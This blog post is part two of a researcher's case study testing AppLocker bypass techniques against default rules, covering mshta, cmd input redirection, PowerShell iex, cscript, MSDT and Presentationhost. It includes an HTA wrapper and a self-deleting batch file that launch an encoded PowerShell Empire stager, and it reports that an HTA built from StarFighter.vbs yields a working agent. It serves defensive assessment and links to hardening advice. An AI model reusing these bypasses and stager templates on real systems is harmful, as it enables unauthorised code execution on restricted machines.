This is part two of my blog series about the different bypasses that are supposed to work against AppLocker. I will, as I did in part 1 focus on the default rules in AppLocker. More details on the test technique and other juicy details can be found in my part 1 blogpost here (makes sense to read it first): https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

Technique 8 – MSDT.exe

This technique is done by creating a .diagcab file using Windows Troubleshooting Pack Designer tool that is supposed to be included in the Windows SDK. I installed the Windows 10 SDK, but I did not find TSPDesigner.exe. After reading this blogpost about the bypass I assume that you need Windows 7 SDK to get this tool.

The manual steps (without Windows Troubleshooting Pack Designer tool) is described here:
https://msdn.microsoft.com/en-us/library/windows/desktop/dd323712(v=vs.85).aspx

This technique also requires a code signing certificate to work. I did not test this technique, but I will revisit this when I get my hands on a code signing certificate and figure out how to create a .diagcab file.

If you are reading this and you got a ready made .diagcab file that can be used to test this bypass technique, please reach out to me.

Conclusion is that I don’t know yet if this is valid or not.

Technique 9 – mshta.exe

This technique executes hta files using the mshta.exe binary file.

The common command is:

mshta.exe c:\poc\evilfile.hta

For the evilfile.hta I have used the following code to try to get code execution:

<HTML>
<HEAD>
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -noP -sta -w 1 -enc <BASE64 ENCODED EMPIRE STAGER>"
</HEAD>
<BODY>
</BODY>
</HTML>

Results – mshta c:\poc\evilfile.hta

As you might suspect, since I am launching PowerShell as my payload, it will get blocked by the fact that AppLocker applies constrained language mode in PowerShell. And that is the results of this test.

Results – mshta c:\poc\evilstarfighter.hta

I also tried to create another .hta file called evilstarfighter.hta, based on the awesome code of mr Cn33liz found here:
https://raw.githubusercontent.com/Cn33liz/StarFighters/master/StarFighter.vbs
StarFighter uses it’s own version of PowerShell and does not rely on PowerShell.exe. More info can be found on the Github project page here: https://github.com/Cn33liz/StarFighters

Basically all I did was to wrap html code around StarFighter.vbs, change the encoded payload with the one generate from my Empire installation and saved the file as .hta.

On my test machine this gave me an Empire agent running.

The only caveat is that it requires .NET framework 3.5 feature to be enabled to work (This was enabled on my test machine).
.NET framework 3.5 feature is something that is not enabled by default in Windows 10 on a clean install. But again, this is something that varies from company to company if this feature is enabled or not. This is often required by applications and therefore enabled as part of the company image.If it is not enabled you will see this when you try to execute StarFighter:

Conclusion is that this is a valid bypass technique.
For details on how to block this technique – check out this blogpost:
https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2/

Technique 10 – Execute .Bat

This technique executes code in cmd based on input from a text file.

The common command looks like this:

cmd.exe /K < Technique10.txt

For this I have created an Empire batch stager.
The content for the Empire batch stager looks like this:

@echo off
start /b powershell -noP -sta -w 1 -enc <BASE64 ENCODED EMPIRE STAGER>
start /b "" cmd /c del "%~f0"&exit /b

This Empire stager was saved as Technique10.bat and I also created a copy of this batch file and called it Technique10.txt.
As a third test I created a file called Technique10VBS.txt that simply contained the following lines:

@echo off
cscript c:\poc\StarFighter.vbs

Results – Technique10.bat
I tried to execute this Empire batch stager directly from Explorer and cmd.exe. Both gave the same results and this error message:

And the following was logged to the event log:

Conclusion is that AppLocker blocks batch files as it is supposed to do. (what a shocker…)

Results – cmd /K < C:\poc\Technique10.txt

I ran the command and it seemed that it executed. This indicates that to bypasses the .bat execution you can do it like this, but the payload (Empire stager) was stopped by the fact that PowerShell runs in constrained mode.
This can be seen in the event log here:

Results – cmd /K < C:\poc\Technique10vbs.txt

This test was to see if I can run cbscript using this technique and execute StarFighter.vbs (same as in Technique 9).
I was pretty sure it would not work and I was right.
It gave me the following output:

Conclusion is that this technique is a valid technique to run batch files, but not as a bypass to run code you are not supposed to.
I cannot see the “big danger” with this.
The users still cannot run any other binary files since the AppLocker policy still applies, meaning that evil.exe will still not run even if it is execute from a batch file. This technique will basically be the same as pasting commands into the command window.

Technique 11 – Execute .PS1

This technique executes code in PowerShell based on input from a text file.

The common command looks like this:

Get-Content Technique11.ps1 | iex

Since AppLocker now applies constrained language mode, any attack using this technique will still get blocked. I have not used a lot of time on this. This is however a method to use if you do not want to paste your script into PowerShell. It also turnes out that AppLocker actually does not block .PS1 files at all any more (change in Windows 10?). This must be a design decision due to constrained language mode.
The strange thing is that if you try to execute for instance this:

powershell -file c:\poc\technique11.ps1

This will tell you in the event log that it is blocked, but the output in the Powershell window tells me that it does not.

Conclusion is that this is a valid bypass technique for running PS1 scripts. AppLocker is supposed to stop that (unless MS has changed their mind), but this technique is basically the same as pasting the script into the PowerShell window.

Technique 12 – Execute .VBS

This technique executes code in vbscript based on input from a text file.

The common command looks like this:

cscript.exe //E:vbscript Technique12.vbs

For this technique I created a copy of my version of StarFighter.vbs (found in technique 9) and tried to execute.

As you can see in the screenshot this was blocked by AppLocker.

Conclusion is that this is not a valid bypass in any way.

Technique 13 – Presentationhost.exe

This technique uses something called “Windows Presentation Foundation browser Application” or more commonly known as Xml browser based Applications (XBAP) . In order to use this technique you have to generate a valid WPF application in Visual studio and inject the code you want to run inside it.
I was not able to find any good description or guides of this bypass technique.
All I found was a PPT from @subtee’s talk at ShmooCon 2015, but this does not go into details on how to create this application as a bypass.

The common command to execute this:

Presentationhost.exe C:\poc\technique13\WpfEvilBrowserApp4.xbap

I must be honest here and confess that I do not have enough skills to build a valid application to possibly run C# code as a bypass. What I did manage to do was to create a very basic WPF application that tries to execute c:\poc\technique13\evil.exe on the click of a button (I know, pretty impressive [sarcastic]… )

My basic code looks like this in Visual studio:

Results – Presentationhost.exe C:\poc\technique13\WpfEvilBrowserApp4.xbap

The application executes and starts up the main window.

When I try to execute using the button it fails and AppLocker blocks the .exe file. (This was expected)

I know that it does not make sense to try to execute a .exe file from within C#, but I unfortunately lack some skills in terms of C# coding and I am working on learning it. I will update this post when I have progresses with this.

Conclusion is that I have not concluded yet, but to me this seems like a valid attack angle for a bypass.
I need more time to create a possible attack using C# code. Hopefully someone will help me a bit on the way after reading this.